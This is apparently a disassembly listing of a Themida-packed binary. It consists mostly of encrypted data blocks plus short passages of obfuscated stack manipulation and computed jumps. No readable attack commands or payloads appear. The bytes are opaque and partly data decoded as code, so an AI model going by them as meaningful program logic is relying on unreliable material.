		dd 6D03BD91h, 2F140F47h, 8001B67Ah, 9BBBEE9Bh, 0E3F74A91h
		dd 0FA2F8D19h, 253D6015h, 0E7681D02h, 27547E1Bh, 0B05C476h
		dd 3850F36Bh, 7D3E81Dh,	0D6134092h, 0F502D225h,	27A85D66h
		dd 0B2C749FAh, 0DB7E6506h, 0C677A487h, 6CE55331h, 0EF1C5106h
		dd 7B05B2B3h, 0D455A2AFh, 4B1C74A7h, 9033180Bh,	0F3285DF8h
		dd 84A7BBDEh, 5E8E779h,	1D7A5F8Eh, 1D4h, 4459FC95h, 0D4E97421h
		dd 677CE7B1h, 0F80D1044h, 859ABDD5h, 2E42D264h,	0BCD3F60Bh
		dd 36618499h, 9DF3162Bh, 29D6A5BAh, 0EF0C7F78h,	0A8C1B866h
		dd 71C3F53h, 7EAB8EE4h,	4E679041h, 1BD06D04h, 0AA7C859Ah
		dd 5B6E3EFh, 6B0B6799h,	8D3A1FD4h, 1C393A5Ah, 32E7CC01h
		dd 27EB10B1h, 0EC3166F5h, 0CF92869Fh, 0DADB4600h, 0C2000000h
		dd 0ED1A3D53h, 0C2999ABAh, 98CD8267h, 987DFEB3h, 0D5BA9DF5h
		dd 44A30B4h, 0F752286Dh, 0EE82B5E2h, 0D1A7CA4Bh, 54459176h
		dd 481E517Eh, 0C9B762F6h, 1E5356D1h, 35E8D39h, 7934ABEFh
		dd 5996C344h, 0F7BC661Dh, 9CBFB661h, 0CA7F64C7h, 7392A849h
		dd 78256B0Ah, 0F47130C7h, 32640766h, 0B0C5FA2Fh, 0F01DB5E4h
		dd 6047C3Fh, 7E18BB65h,	1449FEE3h, 79DCB4E7h, 0E843194Ch
		dd 0DCED0ABBh, 8D426CE5h, 0BCD4F70Ch, 91168E99h, 856A8E05h
		dd 0D728h, 5CFF9200h, 0EE712447h, 819CB6D9h, 120D496Ch
		dd 0A386DAFDh, 49DB6D8Eh, 0DE011631h, 7699AE89h, 0A2D42DDh
		dd 0EDBCD174h, 0B688F40h, 0D8CF66EFh, 1C3F53BFh, 0EEA7DA07h
		dd 0B9CFF273h, 153E719Eh, 0B2E77A1Ch, 829718CDh, 5B0C4979h
		dd 6D044D9Ch, 3A5DDE93h, 6F1C0124h, 1F04273Ch, 0B0C6E96Ah
		dd 63356895h, 0A6B9DD00h, 55441025h, 0B09F507Dh, 276B117Dh
		dd 94EA8D72h, 45184B1h,	10F5682Bh, 8C41265Bh, 1B49AE5Fh
		dd 39EE66EFh, 0EA80A3B8h, 84496A4Fh, 89038BF5h,	0C2985734h
		dd 0F2255267h, 193CBDA0h, 5603E843h, 0AEF7223h,	0E5B1D455h
		dd 6150783h, 0D70CB78Eh, 4724F9F2h, 2A57F288h, 43C45FF7h
		dd 0D2750B2Eh, 770D40EDh, 0B93AEFD4h, 3DCh, 0CED74300h
		dd 361B3E53h, 755AFD93h, 0B99E81D2h, 1E64116h, 4A2F0A5Eh
		dd 9378D3A7h, 0D4B9A4F0h, 17FC6731h, 593E2174h,	7C3168F7h
		dd 8F540000h, 4812404h,	424h, 6B336800h, 3C890000h, 0E0895024h
		dd 405h, 42D00h, 4870000h, 34895C24h, 7FBD5524h, 89061534h
		dd 242C8BEFh, 5404C483h, 8124348Bh, 4C4h, 4EC8300h
		dd 0B8240489h, 8, 3889F001h, 2434FF58h,	4C4815Eh, 8B000000h
		dd 8951243Ch, 4C181E1h,	81000000h, 4C1h, 240C8700h, 3A08E95Ch
		dd 0A7E7FFFAh
		db 0E3h
; ---------------------------------------------------------------------------


loc_5AF381:				; CODE XREF: Themida_:005AE2B8j
		mov	eax, 615443Bh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0DC61h
		dd 0F74B21FAh, 0AC96272Eh, 0A2994584h, 0AFCB60E8h, 5BF76D7h
		dd 9B8D2EFBh, 4D8D178Dh, 23E35D36h, 3B395FAFh, 7531423Ch
		dd 705C3E6Ch, 0AB66448Ch, 8C270FB3h, 450B4798h,	3D4777DCh
		dd 842A28BAh, 186F6A9Bh, 75537EE5h, 0D98B74E4h,	0AA50214Ah
		dd 8CE93ABCh, 8B000001h, 273AAF3Ah, 0D31AD52Ch,	0D746B198h
		dd 0EFB4CAD1h, 0E45B7E41h, 6D5D9752h, 44FCA3FBh, 0A59EB992h
		dd 95BCD792h, 93B9E4h, 0F49DB2CBh, 0FC9CACA3h, 0D2009EB9h
		dd 73AFC945h, 55FC00EEh, 599CBA97h, 0B2A4E56Dh,	47FEACFFh
		dd 0C45657F6h, 0F600CCD4h, 0F78F7DB5h, 97539549h, 45C9BCFAh
		dd 0A1915CCDh, 0ACE56Ch, 100h, 43h dup(0)
		dd 0A26D8497h, 0EE69F033h, 3 dup(0)
		dd 0E9000000h, 10F0h, 1548C268h, 0FF97E906h, 0A768FFFAh
		dd 0E9061549h, 0FFFAFF8Dh, 154B6D68h, 0FF83E906h, 4068FFFAh
		dd 0E906154Ch, 0FFFAFF79h, 154D9668h, 0FF6FE906h, 7168FFFAh
		dd 0E906154Eh, 0FFFAFF65h, 154F1368h, 0FF5BE906h, 0BF68FFFAh
		dd 0E906154Fh, 0FFFAFF51h, 1550D668h, 0FF47E906h, 4168FFFAh
		dd 0E9061551h, 0FFFAFF3Dh, 15520268h, 0FF33E906h, 0D768FFFAh
		dd 0E9061552h, 0FFFAFF29h, 15539D68h, 0FF1FE906h, 168FFFAh
		dd 0E9061555h, 0FFFAFF15h, 15560768h, 0FF0BE906h, 63E6FFFAh
		dd 8505E58Eh, 981DFDA6h, 0AE3010B9h, 0C64A2AD3h, 4473EE7h
		dd 0E48D64E8h, 0FAA38604h, 15BE9B1Ah, 2CD5B435h, 223CF498h
		dd 0EA1DD84Dh, 0DCD2A645h, 1B0829B7h, 0C6A322CAh, 0F555B493h
		dd 124524A5h, 3BE4C142h, 81A5C28Ah, 6F8139DDh, 2F1BCDEDh
		dd 4D805FDFh, 77AF0F6Eh, 1DC2F5F0h, 4E162B2h, 2CB181A5h
		dd 1EC2F555h, 94F4C94Eh, 0DD0A465Ch, 76AD0F1Dh,	0AEE68C82h
		dd 0C19D09D7h, 56CBE59Dh, 34931DDDh, 0E4992ED4h, 4140302Ah
		dd 21000000h, 7FFF77D5h, 2F8E6DA0h, 0DCBB3B0Bh,	27A0587Ch
		dd 0F71DC22Ch, 0B7AD6598h, 601DC22Dh, 0DED0882Ch, 741DC22Dh
		dd 70CF15F4h, 1187BE10h, 3029AB7Ch, 3E1B9C6Ch, 5F926FEEh
		dd 2B12080h, 92000001h,	64762ED2h, 1A1BCD0Ah, 0A786B998h
		dd 52A20261h, 0F1C1F4D1h, 9363966Dh, 190F3312h,	63E728BEh
		dd 2A9D168Ch, 926295F5h, 0D78B3411h, 6EB159E1h,	0CC2C8BE4h
		dd 0CD894C94h, 0A885061Bh, 5336B484h, 38E14120h, 0C7FAD758h
		dd 1D412626h, 0C2866A65h, 5810341Dh, 1DC28646h,	867E7028h
		dd 0BF1E1DC2h, 12BB1A79h, 73F9685Eh, 299F8204h,	0F747FBCFh
		dd 8C6B9E75h, 26410B2Ch, 12EC4A02h, 4DAC1BD3h, 0FED55929h
		dd 6C7E36DAh, 2C17EC6Ch, 0E4C46DCDh, 67ECBC60h,	4078578Ah
		dd 17EC6C2Eh, 401D9EEEh, 70CF2E0Dh, 1A1FD4Bh, 0FCD91CB7h
		dd 0E29h, 630CE568h, 7B240383h,	8E37169Bh, 0AC552CAEh
		dd 0C06948CCh, 0E26682C9h, 482620Bh, 1D9C7C25h,	32B3933Ch
		dd 7216AA53h, 0D842A0BAh, 24C3681Dh, 0A24B22A6h, 406441C2h
		dd 0A222EE70h, 5B0464C3h, 986EB1A7h, 1049BF61h,	2399FE9Dh
		dd 0F555800Dh, 0F077D5D6h, 0CC8428CCh, 1BCD0AD2h, 83BB1B7Ah
		dd 1DC22CC0h, 87577BDAh, 1AF92C03h, 356845CAh, 1FC3F656h
		dd 0BEF1D04Fh, 5C4069DFh, 4C3E4277h, 0FCBEB4ECh, 5671DC2h
		dd 7AC358CEh, 9D6A302Ah, 4B000000h, 154825A6h, 0AFE2C145h
		dd 0CD0E33F7h, 9E8691Bh, 22FF8060h, 0FD7B4BEFh,	0AF9DBE1Eh
		dd 0E3DC94B8h, 0AB1DC20Fh, 1FEFA34Ch, 4566C69Dh, 0C77B4907h
		dd 0C59C85Ch, 7CD189ADh, 221BD331h, 4BCF9FC3h, 67EBCB74h
		dd 83D36388h, 0FB3EB701h, 0D441Eh, 0E7CA4D00h, 0FFDE5E3Eh
		dd 1CF17656h, 32119373h, 4E25A989h, 519DAEA5h, 6D4DF6CDh
		dd 83630CEFh, 9C7C2504h, 1953E1Bh, 438BA55Dh, 0AE531DD8h
		dd 4B22A60Fh, 9F41C2A2h, 0CD0AF5E7h, 2A098B1Bh,	82D218F7h
		dd 0DEC1FFEh, 0F7A64FAEh, 154825A6h, 3CE5C445h,	5A37B888h
		dd 7AAD8C0Ah, 321A3B9Bh, 0EE591135h, 0B01DC22Bh, 0DB5D2D51h
		dd 28617B33h, 0CA291DC2h, 0F959386Bh, 28180EC6h, 5FC11DC2h
		dd 0E5643428h, 69FEA404h, 103029A6h, 8Eh, 0F077D5F1h, 179F14CCh
		dd 91611DC2h, 65E6360Dh, 16765588h, 9A3E71D0h, 172C3EF6h
		dd 8DEC1DC2h, 17FFF52Dh, 14951DC2h, 0B3320235h,	518467E5h
		dd 0BDE01372h, 4885B4EBh, 0A439AFE6h, 493029A5h, 4Ah, 8102D22Ah
		dd 292344A4h, 0D2761A3Eh, 0CD0A001Ah, 0F369C81Bh, 602074AFh
		dd 0D40C6C7Ah, 1DC28C97h, 0F1EBA3C7h, 991DC2A3h, 0E7B7DB3Ah
		dd 88588B62h, 16F52809h, 6C2457B7h, 1DC2A376h, 1086BD1Fh
		dd 302A2D7Bh, 1322h, 2D20300h, 5E2DA382h, 0D61081F1h, 0F881DE3Eh
		dd 52000008h, 0CCF077D5h, 0D84C9014h, 7EFC4C1Dh, 48183C9Bh
		dd 8D41EAC7h, 0DC9438BDh, 1DD84CC2h, 99CC2B8Ah,	890A5ABAh
		dd 0E0983CBBh, 1DD84CCEh, 9DD02F8Eh, 8B2C5FBEh,	0CA82A6C1h
		dd 1BCD09C9h, 6A0E3291h, 0E781B8B2h, 8E106017h,	0D0F454B3h
		dd 0FDDC5C2Ch, 1D9BEBCAh, 0CC2C0B3Eh, 751EFB7Ch, 11351495h
		dd 81BBB56Dh, 0CD8517E7h, 17E781D3h, 77D61C7Bh,	4A40E417h
		dd 4BBF2BDEh, 0D2F3530Dh, 0F9C9ED7Ah, 15399978h, 0E800025Dh
		dd 0C8ED4C11h, 0A919CB66h, 7E8D6AADh, 1300000Bh, 2808B190h
		dd 4020C9A8h, 5D3DE6BBh, 6F4FF8DBh, 746B14EBh, 0B08F13D7h
		dd 0CAA92707h, 0DFC24121h, 0F8D55636h, 5F17BB4Fh, 1DD8414Dh
		dd 0D2C9680Dh, 0EA77D5DCh, 6DCD5E05h, 0CDFC3F35h, 1F48041Bh
		dd 82C005FBh, 0FF74F6AFh, 8E6DA07Fh, 0F3ABCF2Fh, 1DD88983h
		dd 2D3FF71Bh, 0ED1DDB06h, 33E44077h, 0DA39C229h, 2B21D27Bh
		dd 0CC60183Ch, 901BCE30h, 99690D31h, 0ADBF7717h, 6D17E6CEh
		dd 9D7CAF0Eh, 9C6CED3Dh, 31DA3918h, 0BEF1D051h,	14382F1Dh
		dd 0F38B635Ch, 0A8CC2B11h, 0D17A57D8h, 7D7A70F1h, 87027E15h
		dd 0C078AB0Ah, 898C67A8h, 88ACBB91h, 834D87D0h,	2F61D78Fh
		dd 203AF29Eh, 0E8839DDEh, 0A8201389h, 72EE1372h, 0DD237042h
		dd 0AABBD9Ah, 63E60000h, 8505E58Eh, 981DFDA6h, 0AE3010B9h
		dd 0C64A2AD3h, 4473EE7h, 0E48D64E8h, 0FAA38604h, 15BE9B1Ah
		dd 2CD5B435h, 223CF498h, 0EA1DD846h, 0DCD2A645h, 0B93693B9h
		dd 0D0F1514Eh, 0FC7EB7Ch, 1DD88167h, 0E06DC137h, 57348F62h
		dd 0EA617B33h, 0CA291DDBh, 0F577476Bh, 0CA9ABE1Eh, 0E3C36C49h
		dd 1406BE62h, 841DDBEAh, 936CA49h, 0DC3B812Fh, 0A3A94A7Dh
		dd 3F7251D3h, 64187349h, 0D53414A0h, 0E9A5276h,	0CE1BCEB3h
		dd 0EFA74B6Fh, 17E148FDh, 0BADE3E9Dh, 25C2016h,	86747871h
		dd 7855D626h, 8F6EEFCFh, 0D691BB5Ch, 6AA9FAB2h,	431311F4h
		dd 346FE5C4h, 0BE63A78Eh, 75C50B6Bh, 93B716F5h,	99934BEFh
		dd 41098C70h, 0B13282E2h, 0CA4B2BD4h, 73D1C7EBh, 9B1064ABh
		dd 0B971A404h, 98C73A3h, 3729E185h, 0D7098C73h,	55F71878h
		dd 739B954Dh, 0E443098Ch, 0C916185h, 0AEE1C044h, 5E3D70CFh
		dd 4E22DAFEh, 0E0F9936h, 3ABB8BAFh, 0B4CCDE96h,	82039Bh
		dd 0C90FEE21h, 0F1E70B6Ah, 0CEA2DD2Dh, 0DB6163Bh, 9ACDAC2Dh
		dd 0F01453F9h, 63C39E20h, 0B817873Fh, 67B7058Eh, 7CAF0EE5h
		dd 0D2F671DBh, 0AE1C911Ah, 88095903h, 389776A9h, 5BAF9D13h
		dd 0ECC90C9Fh, 955h, 2FD8B93Ch,	47F0CF4Fh, 620BE267h, 78210082h
		dd 943D1498h, 0B63AAE9Dh, 0D04E2ED7h, 0E96848F1h, 0FE7F5F08h
		dd 3EE2761Fh, 0D8479486h, 0F08F341Dh, 0D95725A6h, 98689BFAh
		dd 0E0073A17h, 26A7C7FEh, 0CF532347h, 68DEBDF0h, 0AAF0890Fh
		dd 29D232B6h, 1B585EF3h, 7E4E2Ah, 752C121h, 33000000h
		dd 50C99h, 0E7546A00h, 3E620547h, 0C22E6D86h, 0BECE2D1Dh
		dd 0C9FE4606h, 46212BCEh, 0D0D56A22h, 56B5C4D8h, 5E46232h
		dd 6093F3D2h, 0B6DA8DBFh, 0F55B0FFEh, 3F198FC2h, 677A4098h
		dd 0E316ED71h, 8E2FA504h, 0DF76F1E2h, 59FD2180h, 9B162063h
		dd 71D1EC81h, 4BD0A021h, 0BDCD0A5Fh, 2180F216h,	33EB0FEEh
		dd 0FEF1B039h, 7A2382E1h, 173C199Ah, 5E1C7DB7h,	7AFAD71Ah
		dd 17000008h, 3414BD94h, 4C2CD5B4h, 6141EAC7h, 7B5B04DFh
		dd 786F18F7h, 0BC9317D3h, 0D6B53313h, 0EBCE4D2Dh, 4E16242h
		dd 6B23C75Bh, 1DD84471h, 0A6D57419h
		dd 54244825h, 0E2C1F4D5h, 0FB7F4F82h, 0F7C77B24h, 89689B72h
		dd 23440829h, 7E2F09FFh, 0F64FEE50h, 0F0BA7296h, 0DA1DD8ACh
		dd 4DAD8C0Ah, 3B309107h, 68667E27h, 9415E509h, 0AB2C0CB5h
		dd 52FA9BCEh, 22FF8050h, 0C6D810EFh, 861DDB29h,	0ECA4C827h
		dd 1BCE6C7Ch, 0CD9DC120h, 0E4C46D4Ch, 83538663h, 0D1B02FFFh
		dd 0AEBB4D72h, 175AB70Bh, 7D83Ah, 5B36B900h, 7352D2B2h
		dd 8865EACAh, 0A67DFFDFh, 0BA991DFDh, 0BD311A11h, 0D1B15A39h
		dd 0E7C77053h, 0E08968h, 65F9A27Fh, 451709C1h, 12B71DD8h
		dd 48DCD273h, 3D1C9B67h, 0BE1034C7h, 580F3D5Eh,	7EEC7C34h
		dd 51B01DD8h, 27D3372Dh, 7FCDFA4h, 0B0312BE3h, 7AD91DD8h
		dd 0A526F61Ah, 55D4A4C8h, 8B6B1474h, 0BCAE660Ah, 7E1DD8B0h
		dd 0D8B0D4C6h, 0CF15741Dh, 0BFA22070h, 2A4EAD8Ch, 0B0DCCE86h
		dd 1D7C1DD8h, 63E98ABDh, 6C3CE004h, 0BA971CECh,	24C3FB5Bh
		dd 0F61BD793h, 0D4001AD2h, 69C817E9h, 190DE50Ah, 0B9FCB704h
		dd 72CDCh, 0FFE26500h, 17F67656h, 34098E6Eh, 4A29AB8Bh
		dd 663DC1A1h, 6985C6BDh, 85650EE5h, 9B7B2407h, 0B4943D1Ch
		dd 19AD5633h, 45A3BD75h, 0C66B1DD8h, 5725A627h,	679AF9D8h
		dd 4371697h, 0D0C4FBDDh, 0A7A742Ch, 0D2221BCDh,	0B4147352h
		dd 5D06E364h, 1A889227h, 0F88C822Ah, 9B92E508h,	1FB52484h
		dd 96000000h, 0FBBDDCD2h, 6B63A042h, 0CD15B9B3h, 0A302611Bh
		dd 2CFE643h, 0E2B20000h, 72518461h, 25A6F312h, 0D8741548h
		dd 0FC76B8Fh, 1BCD0A1Dh, 0DAFE5EBDh, 0D84C8622h, 4D4781Dh
		dd 9372A584h, 0D84C415Bh, 4AAA091Dh, 1CFCA504h,	0F69ABE9Bh
		dd 0D84C2C3Eh, 2D8DEC1Dh, 0C7A62AFAh, 88DF6D1Eh, 641CC064h
		dd 1DD84C4Ah, 1B53B312h, 1BCD096Ch, 7ABCF2Eh, 0A6D9B837h
		dd 961767C7h, 0AD2E0EB7h, 4F8261DFh, 0EE21007Fh, 1E51B00Fh
		dd 8102CA4Eh, 2B2145A4h, 0C1167525h, 76A909ABh,	0CCF077D5h
		dd 0FBD65828h, 0D1D0639Bh, 4BAA11E8h, 1ADCC826h, 270447A9h
		dd 615h, 6F18F97Ch, 87300F8Fh, 0A24B22A7h, 0B86140C2h
		dd 0D47D54D8h, 0F67A6EDDh, 108E6E17h, 29A88831h, 3EBF9F48h
		dd 7E22B65Fh, 0D85AD4C6h, 30CF741Dh, 0D55725A6h, 8DECCBFEh
		dd 2C098A5Ah, 0B9F0D2F9h, 90391899h, 1A88C55Ah,	0E6C2Ah
		dd 994D0000h, 150h, 36159565h, 0A5C42403h, 234825A6h, 0BB20C7E3h
		dd 0AA2E0B4Eh, 0E7000005h, 4E48D64h, 1CFCA584h,	3111BA97h
		dd 4B2BD4AFh, 483FE8C7h, 8C63E703h, 0A68503E3h,	0BB9E1DFDh
		dd 0D4B13212h, 3BF3972Bh, 1DD85B21h, 0D2A544E9h, 2B8E8402h
		dd 0E7751CC2h, 52A20261h, 0DAD0F4D1h, 43A0D85Fh, 0F82B8BB1h
		dd 97CAA728h, 37578E70h, 7A2ED7B6h, 164928AAh, 9C31D737h
		dd 412A1B65h, 12h, 8202D222h, 0C9E643A3h, 0B7000000h, 0C399h
		dd 77D56A00h, 0A79732Bh, 92171BCDh, 63A988BBh, 0DD81A504h
		dd 558362E7h, 0FC5C434Ah, 0D8BC24C4h, 6699F81Dh, 0BCE087C5h
		dd 3D4E6018h, 980E1DDBh, 9393F5A2h, 0E444A34Bh,	0C01708C0h
		dd 58B71BD4h, 6CBF933h,	482568B7h, 4E9h, 0A34C25A8h, 0BB6443C3h
		dd 0CE7756DBh, 0EC956CEEh, 0A9880Ch, 22A64209h,	44C2A24Bh
		dd 5DDCBC65h, 72F3D37Ch, 0B256EA93h, 0D858E0FAh, 6403A81Dh
		dd 0CCF077D5h, 37977AFCh, 46E25B13h, 0FECE1DC2h, 0FF45A57Ch
		dd 0CD867CA0h, 1201EE41h, 583BB909h, 8C30D4F8h,	0C221DAD4h
		dd 0C323821Dh, 9F1EEE73h, 51B08FC2h, 21CBE0A8h,	811DC2h
		dd 13987821h, 722E0B3Eh, 0FF000004h, 0A18002D2h, 3B2C2041h
		dd 4CC35F17h, 6F931DD8h, 0D84CA5B7h, 0F7D65B1Dh, 0DBD58DB1h
		dd 831DD84Ch, 3366C524h, 0A7D6998Fh, 0B86F71E9h, 0D88FEE00h
		dd 0F04FAE1Dh, 8ADD6F90h, 0D1487066h, 0BE71C87Dh, 69823A5Eh
		dd 311BD768h, 6E5B550Dh, 0A40317E9h, 0A3F02045h, 1C5FB704h
		dd 4143Fh, 17FA7D00h, 2F0E8E6Eh, 4C21A686h, 6241C3A3h
		dd 7E55D9B9h, 816DDED5h, 9D7D26FDh, 0B3933C1Fh,	0CCAC5534h
		dd 31C56E4Bh, 58DBD58Dh, 0DE831DD8h, 0FF77D53Fh, 9271A47Bh
		dd 0CF570F33h, 0B11DD84Ch, 4288B9BBh, 0FE5EE5B6h, 913559B8h
		dd 9D3B35EDh, 54B31DD8h, 844387C7h, 46A6054Bh, 0EF9875F6h
		dd 7CAF8E0Fh, 0D89034D8h, 1DD8CAC6h, 0FDEF2786h, 9D1DD8CAh
		dd 8FBDDE3Eh, 298867E7h, 8F4A4D05h, 0F0141BCDh,	8EC1A020h
		dd 0F6577AFh, 9C1B17E6h, 65AB8ABDh, 0B383A706h,	0F6AA5332h
		dd 97CAA726h, 870858B8h, 76D677AAh, 43A27F00h, 634671Fh
		dd 0E05611E9h, 0F1A9AD54h, 799EFD28h, 0A91AA153h, 4EA27FC2h
		dd 43000003h, 5838E1C0h, 7050F9D8h, 8D6D16EBh, 9F7F280Bh
		dd 0A49B441Bh, 0E0BF43A7h, 0FAD95737h, 0FF27151h, 28058666h
		dd 8F47EB7Fh, 1DD8599Dh, 0A6F9983Dh, 0F9D85725h, 5588E7C6h
		dd 5B550DB1h, 31BCD0Ah,	0A3527DFh, 76D51BCDh, 0E667B717h
		dd 9113E307h, 59A2669Bh, 6650069h, 0EB94F4D3h, 0AF7F4137h
		dd 5C528150h, 0EBCAFDDCh, 410B2C8Ch, 0C54A0226h, 851DC2FCh
		dd 0A0D3B635h, 8B2F62C1h, 0C3D2FE7h, 7EDD1DDDh,	0CF0E61Eh
		dd 37991DDDh, 0BB3C0C00h, 43D87EDEh, 0EA302A8Eh, 35h, 0F077D5CBh
		dd 2CB314CCh, 0C6B1DC2h, 0F27444E8h, 2CC5D70Fh,	0FD7B1DC2h
		dd 488D81Eh, 0BC1BFA2Dh, 7B71295Ch, 241DC22Ch, 80158BC2h
		dd 253029AAh, 0D1h, 4825A606h, 0E2C14515h, 8E5EDFAFh, 0E6BD3F0Dh
		dd 1675D4B3h, 0EE6F3FE3h, 0D9FDDC0Fh, 0CD0A0F21h, 1070CF1Bh
		dd 0B9623FC0h, 0CD0E29F1h, 3FBF8F1Bh, 2FB00060h, 0DA5E2E52h
		dd 0F94863Eh, 0D5341BCDh, 0E79F4376h, 1BCD0FF5h, 77D73695h
		dd 906DEECEh, 0D790BC5Dh, 26A4FBB3h, 87E61DC2h,	481F2DDEh
		dd 4D45424h, 0E444A386h, 950D08C0h, 5BD11BD3h, 0B0B4370Bh
		dd 0E8A0C4A8h, 17EDCCF6h, 0B4D83796h, 0D88160E4h, 789D74F8h
		dd 0B70001A4h, 0EAAB88CBh, 0A7000001h, 0C4A44D24h, 0DCBC6544h
		dd 0F1D17A57h, 0BEB946Fh, 8FFA887h, 4C23A743h, 6645C3A3h
		dd 7B5EDDBDh, 9471F2D2h, 0FBB357EBh, 1DD85FE1h,	0A66504A9h
		dd 0C2A24B22h, 7BB6441h, 7EDEB537h, 0F077D55Fh,	74C2D6CCh
		dd 0CE10AF3h, 77D088ACh, 271DC220h, 0C7DD95C8h,	901DC239h
		dd 0EC81F72Eh, 913029B6h, 0E3h,	4825A672h, 0DD7B7115h
		dd 146ADE62h, 84964E72h, 441BCDE0h, 0B13585E5h,	48B8AED2h
		dd 0E5682D42h, 530B3E9Eh, 1BCD978Fh, 0BC6544C5h, 4B7E5BDCh
		dd 0A1C5A2AAh, 0C2BDB2E9h, 8252F61Dh, 0EED20FDh, 0C2C2C4D6h
		dd 0A860841Dh, 1DC2C2B6h, 3898F756h, 39EA93F2h,	60305413h
		dd 0FECE01E0h, 0E0409F7Eh, 6E2E04BCh, 0F6E1BD3h, 0B8971BEBh
		dd 2638F094h, 0E617EC7Fh, 0D9381596h, 261CD079h, 4B10763Fh
		dd 0A3F35347h, 0A9C37B1Fh, 4117ECB6h, 3201D48Eh, 0B7165C7Dh
		dd 0F7013358h, 4D90B701h, 0E470h, 472AAD00h, 5F3EBE9Eh
		dd 7C51D6B6h, 9271F3D3h, 0AE8509E9h, 0B13D0E05h, 0CDAD562Dh
		dd 0E3C36C4Fh, 0FCDC8564h, 61F59E7Bh, 5CEB05BDh, 0EB31DD8h
		dd 42DCD26Fh, 244F7BD9h, 1397E747h, 32B3933Ch, 0A6FBAA53h
		dd 45154825h, 8B3CE5C4h, 8C82A6C1h, 21F2BFCDh, 6D91F1B0h
		dd 0D8A2A6B5h, 26F69A1Dh, 0BB9ACDA4h, 0DB386983h, 0AED2311Dh
		dd 0DB38E4F6h, 0E545A41Dh, 3D0D409Fh, 5434DDBCh, 0BC3F6D3h
		dd 21615551h, 22A27226h, 5A91E343h, 39189666h, 290889D9h
		dd 7EFCCC80h, 6AEB3B9Bh
		dd 0E4B4588Bh, 6D4C7F62h, 959F9149h, 0E03F591Dh, 0D3AE3080h
		dd 70A789A0h, 49F2CF50h, 0E509E869h, 45C39715h,	74A70766h
		dd 1C97h, 0E936300h, 0BD1DFC2Fh, 762ED29Eh, 1BCD0A64h
		dd 56480024h, 0F61BCD0Ah, 7FD83897h, 4E23A650h,	0EBCA4B1Bh
		dd 8869E8B8h, 24078555h, 0C69D21F1h, 603FC393h,	0F8DB5D2Dh
		dd 9170F5C5h, 2F0E8E5Eh
		db 0FCh, 35h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		push	43Dh
		mov	[esp], ebx
		push	495Eh
		mov	[esp], ecx
		push	edx
		mov	edx, 39F130C7h
		and	edx, 0A2355C3h
		not	edx
		xchg	ecx, edx
		not	ecx
		xchg	ecx, edx
		xor	edx, 0E345783h
		mov	ebx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		pop	dword ptr [ecx+8]
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55F515
; ---------------------------------------------------------------------------
		push	esi
		xchg	edx, [edx+ebx*2+10B373EBh]
		xchg	eax, ebp
		wait
		movsd
		or	ecx, ebp
		cmp	bh, [eax+6155710h]
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 9Fh,	2, 8Ah
		dd 25A51365h, 8CD04237h, 0F4D56A4Bh, 0B1043373h, 2E59AB6Ah
		dd 80F7AD64h, 24AE8E22h, 32F5D620h, 20758E2Bh, 32EAC935h
		dd 28E969h, 64070000h, 54A5h, 8	dup(0)
		dd 0A0E90000h, 54000005h, 0E2051A3Dh, 789BB0B3h, 0B2E43DEh
		dd 0A0C3D84Bh, 37586DC8h, 0DC7F13A5h, 6CCFA4C7h, 633457h
		dd 97B2C8EBh, 5506B382h, 66EEF5A2h, 2659968Dh, 610EF36Eh
		dd 0EEF647B0h, 63BF066h, 3D537C85h, 4B88351Ah, 4D9A5D0Eh
		dd 0E0956D04h, 44DB83Fh, 49CA7F6Dh, 4D095226h, 0C4A98CE4h
		dd 90A5DA0Fh, 0FD583063h, 3003597Ch, 44E787Fh, 0E70ABF6Dh
		dd 1CD1B691h, 225502E7h, 496CED70h, 3542A33h, 36EBD053h
		dd 44E7CC01h, 0BB290E11h, 0E710C1FEh, 506D044Dh, 7CECD1A4h
		dd 8CC1ED43h, 0A039460Bh, 5035286Dh, 3ABD6E9Bh,	0F56D0387h
		dd 0C69CBF40h, 682B4E63h, 628CC8F5h, 0C236EDDFh, 45687DFEh
		dd 872A0F12h, 777055F0h, 4D06C5A2h, 5490BDD2h, 0F9704DDDh
		dd 0E87B1D43h, 790F32B3h, 22D8F9DEh, 0C6D03E4h,	0C751A8B7h
		dd 0A44C0F8Bh, 6Ah, 86152B67h, 754EEA9Ch, 2B57B4CDh, 2D50F0C8h
		dd 580DF255h, 3D53CED7h, 0E914351Ah, 456D044Dh,	5D9A4B88h
		dd 696D044Eh, 44E3FB8h,	7F43F86Dh, 0E78449CAh, 0FF5FA1Eh
		dd 1734Ch, 535A0000h, 973A1F02h, 33663FEh, 6348C96Ch, 0A48994C0h
		dd 4582E136h, 0D5F80D10h, 18D4A5BFh, 4E02CE79h,	0DCD63522h
		dd 679C227Ah, 0C494952h, 44D9C5Bh, 0F95C346Dh, 0E69B5F14h
		dd 0B2E4265h, 4FD28326h, 0C334E522h, 6C6D044Dh,	0B5136B7h
		dd 0BB42225Eh, 6AA06D1h, 2BAC8FE3h, 8DC01966h, 0BC7156C9h
		dd 1A469390h, 64E54A5Fh, 0F90E2941h, 19DE8FCCh,	0B66D03AEh
		dd 0CD47F660h, 0D2874BDFh, 0FD582E51h, 15E293D0h, 1A6D0383h
		dd 5CFFE465h, 0E342273Ah, 0F038C19Eh, 7D4C0F28h, 7Eh, 1C3F5364h
		dd 68C29437h, 2815890Ah, 0FC99BCE5h, 0D9472C61h, 90E8E784h
		dd 3773A0B5h, 0E693B70Ah, 0DAFD7ED8h, 4376A386h, 0DCE00C2Fh
		dd 8D6473ADh, 9B3E23A4h, 0FF3B68FBh, 2BD6154h, 1C018251h
		dd 12EB78BDh, 4C0F4E16h, 6277h,	3F535E00h, 0C394371Ch
		dd 6A003360h, 0D1694ECFh, 410A6194h, 0F6DB102Bh, 6CFBC041h
		dd 87380B5Fh, 6D044E70h, 0B0DD12C7h, 0C2826B74h, 0A021AA63h
		dd 0D49828Bh, 2C4B1EC2h, 88AB2C3Eh, 4C6D52CDh, 6D03D1AEh
